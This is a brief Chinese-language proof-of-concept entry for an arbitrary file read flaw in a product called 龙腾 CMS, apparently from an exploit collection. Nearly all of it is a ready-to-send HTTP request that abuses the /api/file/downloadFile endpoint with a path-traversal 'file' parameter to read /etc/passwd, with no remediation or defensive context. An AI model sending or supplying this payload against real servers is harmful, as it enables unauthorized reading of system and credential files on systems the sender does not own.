L20-3龙腾-CMS-任意文件读取

漏洞复现：

payload：

GET /api/file/downloadFile?file=././././././././/etc/passwd HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Accept-Language: zh-CN,zh;q=0.9
Connection: close